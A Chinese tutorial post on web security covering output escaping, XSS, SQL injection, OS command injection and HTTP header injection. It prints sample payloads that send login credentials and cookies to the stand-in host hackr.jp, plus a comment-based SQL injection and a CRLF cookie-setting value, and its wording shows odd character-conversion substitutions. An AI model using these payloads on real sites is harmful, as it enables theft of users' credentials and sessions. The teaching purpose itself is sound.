HTTP基礎10--web(2)

因輸出值轉義不徹底引起的安全漏洞

實施 Web 應用的安全對策可大體分爲如下兩部分。

• 客戶端的驗證

• Web 應用端（服務器端）的驗證: 輸入值驗證 / 輸出值轉義

• 客戶端容許篡改數據或關閉 JavaScript，不適合將 JavaScript 驗證做爲安全的防範對策。保留客戶端驗證只是爲了儘早地辨識輸入錯誤，起到提升 UI 體驗的做用。

• Web 應用端的輸入值驗證按 Web 應用內的處理則有可能被誤認爲是具備攻擊性意義的代碼。輸入值驗證一般是指檢查是不是符合系統業務邏輯的數值或檢查字符編碼等預防對策。

• 從數據庫或文件系統、HTML、郵件等輸出 Web 應用處理的數據之際，針對輸出作值轉義處理是一項相當重要的安全策略。當輸出值轉義不徹底時，會因觸發攻擊者傳入的攻擊代碼，而給輸出對象帶來損害。

跨站腳本攻擊

跨站腳本攻擊（Cross-Site Scripting，XSS）是指經過存在安全漏洞的 Web 網站註冊用戶的瀏覽器內運行非法的 HTML 標籤或 JavaScript 進行的一種攻擊。動態建立的 HTML 部分有可能隱藏着安全漏洞。就這樣，攻擊者編寫腳本設下陷阱，用戶在本身的瀏覽器上運行時，一不當心就會受到被動攻擊。

跨站腳本攻擊有可能形成如下影響。

• 利用虛假輸入表單騙取用戶我的信息。

• 利用腳本竊取用戶的 Cookie 值，被害者在不知情的狀況下，幫助攻擊者發送惡意請求。

• 顯示僞造的文章或圖片。

跨站腳本攻擊案例

• 在動態生成 HTML 處發生:

• XSS 是攻擊者利用預先設置的陷阱觸發的被動攻擊

下圖網站經過地址欄中 URI 的查詢字段指定 ID，即至關於在表單內自動填寫字符串的功能。而就在這個地方，隱藏着可執行跨站腳本攻擊的漏洞。

隱藏植入事先準備好的欺詐郵件中或 Web 頁面內，誘使用戶去點擊該 URL。

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="

瀏覽器打開該 URI 後，直觀感受沒有發生任何變化，但設置好的腳本卻偷偷開始運行了。當用戶在表單內輸入 ID 和密碼以後，就會直接發送到攻擊者的網站（也就是 hackr.jp），致使我的登陸信息被竊取。

以後，ID 及密碼會傳給該正規網站，而接下來仍然是按正常登陸步驟，用戶很難意識到本身的登陸信息已遭泄露。

• 對用戶 Cookie 的竊取攻擊

除了在表單中設下圈套以外，下面那種惡意構造的腳本一樣可以以跨站腳本攻擊的方式，竊取到用戶的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

該腳本內指定的 http://hackr.jp/xss.js 文件。即下面這段採用 JavaScript 編寫的代碼。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站腳本攻擊安全漏洞的 Web 應用上執行上面這段 JavaScript 程序，便可訪問到該 Web 應用所處域名下的 Cookie 信息。然 後這些信息會發送至攻擊者的 Web 網站（http://hackr.jp/），記錄在他的登陸日誌中。結果，攻擊者就這樣竊取到用戶的 Cookie 信息了。

• SQL 注入攻擊

指針對 Web 應用使用的數據庫，經過運行非法的 SQL 而產生的攻擊;若是在調用 SQL 語句的方式上存在疏漏，就有可能執行被惡意注入（Injection）非法 SQL 語句。

SQL 注入攻擊有可能會形成如下等影響。

• 非法查看或篡改數據庫內的數據

• 規避認證

• 執行和數據庫服務器業務關聯的程序等

SQL 注入攻擊案例

下面以某個購物網站的搜索功能爲例，講解 SQL 注入攻擊。經過該功能，咱們能夠將某做者的名字做爲搜索關鍵字，查找該做者的全部著做。

• 正常處理的操做示例

URL 的查詢字段已指定 q= 上野宣，這個值由 Web 應用傳入到 SQL 語句中，構成下方的 SQL 語句。

SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;

該 SQL 語句表示「從 bookTbl 表中，顯示知足 author= 上野宣 and flag=1（可售）所在行的數據」。

• SQL 注入攻擊的操做示例

把剛纔指定查詢字段的上野宣改寫成「上野宣'--」。

構成的 SQL 語句就變成「從數據庫的 bookTbl 表中，顯示知足 author= 上野宣條件所在行的數據」，以下所示。

SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;

SQL 語句中的 -- 以後全視爲註釋。即，and flag=1 這個條件被自動忽略了。

OS 命令注入攻擊

指經過 Web 應用，執行非法的操做系統命令達到攻擊的目的。假若調用 Shell 時存在疏漏，就能夠執行插入的非法 OS 命令。

HTTP 首部注入攻擊

HTTP 首部注入攻擊（HTTP Header Injection）是指攻擊者經過在響應首部字段內插入換行，添加任意響應首部或主體的一種攻擊。屬於被動攻擊模式;向首部主體內添加內容的攻擊稱爲 HTTP 響應截斷攻擊（HTTP Response Splitting Attack）;以下所示，Web 應用有時會把從外部接收到的數值，賦給響應首部字段 Location 和 Set-Cookie。

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345

＊12345就是插入值

HTTP 首部注入攻擊有可能會形成如下一些影響。

• 設置任何 Cookie 信息

• 重定向至任意 URL

• 顯示任意的主體（HTTP 響應截斷攻擊）

HTTP 首部注入攻擊案例

以選定某個類別後便可跳轉至各種別對應頁面的功能爲例。該功能爲每一個類別都設定了一個類別 ID 值，一旦選定某類別，就會將該 ID 值反映在響應內的 Location 首部字段內，形如 Location: http://example.com/?cat=101。令瀏覽器發生重定 向跳轉。

攻擊者如下面的內容替代以前的類別 ID 後發送請求。

**其中，%0D%0A 表明 HTTP 報文中的換行符，緊接着的是可強制將攻擊者網站（http://hackr.jp/）的會話 ID 設置成 SID=123456789 的 Set-Cookie 首部字段;發送該請求以後，假設結果返回如下響應。**

Location: http://example.com/?cat=101（%0D%0A ：換行符）
Set-Cookie: SID=123456789

**此刻，首部字段 Set-Cookie 已生效，所以攻擊者可指定修改任意的 Cookie 信息。經過和會話固定攻擊（攻擊者可以使用指定的會話 ID）攻擊組合，攻擊者可假裝成用戶;攻擊者輸入的 %0D%0A，本來應該屬於首部字段 Location 的查詢值部分，但通過解析後，%0D%0A 變成了換行符，結果插入了新的首部字段;這樣一來，攻擊者可在響應中插入任意的首部字段。**

###HTTP 響應截斷攻擊###

**HTTP 響應截斷攻擊是用在 HTTP 首部注入的一種攻擊。攻擊順序相同，可是要將兩個 %0D%0A%0D%0A 並排插入字符串後發送。利用這兩個連續的換行就可做出 HTTP 首部與主體分隔所需的空行了，這樣就能顯示僞造的主體，達到攻擊目的。這樣的攻擊叫作 HTTP 響應截斷攻擊。**

%0D%0A%0D%0A

**在可能進行 HTTP 首部注入的環節，經過發送上面的字符串，返回結果獲得如下這種響應。**

Set-Cookie: UID=（%0D%0A ：換行符）
（%0D%0A ：換行符）
想要顯示的網頁內容 <!--（原來頁面對應的首部字段和主體部分全視爲註釋）
```
利用這個攻擊，已觸發陷阱的用戶瀏覽器會顯示僞造的 Web 頁面，再讓用戶輸入本身的我的信息等，可達到和跨站腳本攻擊相同的效果。**

另外，濫用 HTTP/1.1 中聚集多響應返回功能，會致使緩存服務器對任意內容進行緩存操做。這種攻擊稱爲緩存污染。使用該緩存服務器的用戶，在瀏覽遭受攻擊的網站時，會不斷地瀏覽被替換掉的 Web 網頁。